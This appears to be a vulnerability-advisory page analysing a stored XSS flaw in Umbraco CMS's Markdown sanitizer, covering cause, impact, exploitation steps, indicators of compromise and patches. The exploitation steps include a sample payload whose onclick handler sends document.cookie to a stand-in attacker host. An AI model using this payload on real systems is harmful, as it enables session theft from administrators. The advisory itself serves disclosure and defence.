CVE-2026-31833
C# vulnerability analysis and mitigation

Overview

CVE-2026-31833 is a stored Cross-Site Scripting (XSS) vulnerability in Umbraco CMS, an ASP.NET-based content management system, affecting the UFM (Umbraco Flavored Markdown) rendering pipeline. An authenticated backoffice user with Settings access can inject malicious HTML containing event handler attributes (e.g., onclick, onload) into property type descriptions, which are then rendered for other backoffice users. Affected versions are 16.2.0 through 16.5.0 and 17.0.0 through 17.2.1. The vulnerability was published on March 10, 2026, and carries a CVSS v3.1 base score of 6.7 (Moderate) (GitHub Advisory, Umbraco Advisory).

Technical details

The root cause is an overly permissive attributeNameCheck configuration (/.+/) in the UFM DOMPurify instance, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). This regex pattern matches any attribute name of one or more characters, effectively allowing all HTML attributes — including dangerous event handlers like onclick and onload — to pass through sanitization when used within Umbraco web components (umb-*, uui-*, ufm-*). Because property type descriptions support Markdown/HTML via the UFM rendering pipeline, an attacker can craft a payload that embeds JavaScript in these event handler attributes, which executes when other backoffice users view the affected property type descriptions (GitHub Advisory, Umbraco Advisory).

Impact

Successful exploitation results in persistent (stored) XSS that executes arbitrary JavaScript in the browsers of other authenticated backoffice users who view the compromised property type descriptions. This can lead to session token theft, unauthorized actions performed on behalf of victims, content modification, and potential privilege escalation within the Umbraco backoffice. Confidentiality and integrity impacts are rated High, with a Low availability impact, reflecting the risk of credential harvesting and unauthorized data manipulation (Umbraco Advisory).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (GitHub Advisory). Exploitation requires an authenticated backoffice account with Settings access, which limits the attack surface. The EPSS score is approximately 0.043–0.066%, placing it in the lower percentiles for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Exploitation steps

  1. Gain authenticated access: Obtain or compromise a backoffice user account with Settings access on a vulnerable Umbraco instance (versions 16.2.0–16.5.0 or 17.0.0–17.2.1).
  2. Navigate to property type settings: Log into the Umbraco backoffice and navigate to Settings > Data Types or Document Types to access property type description fields.
  3. Craft a malicious payload: Construct an HTML payload that embeds a JavaScript event handler within an Umbraco web component tag, exploiting the permissive DOMPurify attributeNameCheck regex. For example: <umb-icon onclick="document.location='https://attacker.com/?c='+document.cookie"></umb-icon>.
  4. Inject into property type description: Save the malicious HTML/Markdown into a property type description field, which is stored persistently in the CMS database.
  5. Wait for victim interaction: When another backoffice user (e.g., an administrator) views or interacts with the affected property type, the injected event handler fires in their browser, executing the attacker's JavaScript.
  6. Harvest results: Collect stolen session tokens, cookies, or other sensitive data from the attacker-controlled server to perform session hijacking or further privilege escalation (Umbraco Advisory).

Indicators of compromise

  • Logs: Umbraco audit logs showing Settings modifications (property type description edits) by unexpected or low-privileged users; HTTP requests to the Umbraco backoffice API saving property type descriptions containing HTML event handler attributes (onclick, onload, onerror, etc.).
  • File System / Database: Property type description fields in the Umbraco database containing HTML tags with event handler attributes or obfuscated JavaScript, particularly within umb-*, uui-*, or ufm-* web component tags.
  • Network: Outbound HTTP requests from backoffice users' browsers to unexpected external domains shortly after viewing property type descriptions; unusual GET requests to attacker-controlled URLs containing encoded cookie or session data in query parameters.
  • Process/Application: JavaScript errors or unexpected redirects in the Umbraco backoffice interface reported by users; browser developer tool alerts related to XSS or unexpected script execution in the backoffice context.

Mitigation and workarounds

Umbraco has released patches in versions 16.5.1 (for the 16.x branch) and 17.2.2 (for the 17.x branch). There is no configuration-based workaround available other than upgrading to a patched version. As interim measures, administrators should restrict backoffice Settings access to only fully trusted users, audit existing property type descriptions for suspicious HTML content, and review DOMPurify configurations to ensure event handler attributes are properly blocked (Umbraco Advisory, GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related C# vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-70354HIGH7.8
  • C# logoC#
  • cpe:2.3:a:microsoft:visual_studio_2022
NoYesAug 11, 2026
CVE-2026-62909HIGH7.8
  • C# logoC#
  • aspnetcore-targeting-pack-9.0
NoYesAug 11, 2026
GHSA-pfvm-w89x-94jwHIGH7.5
  • C# logoC#
  • SIPSorcery
NoYesAug 12, 2026
GHSA-jwjp-4649-v8jpHIGH7.5
  • C# logoC#
  • SIPSorcery
NoYesAug 12, 2026
CVE-2026-48798HIGH7.1
  • C# logoC#
  • SSH.NET
NoYesAug 12, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management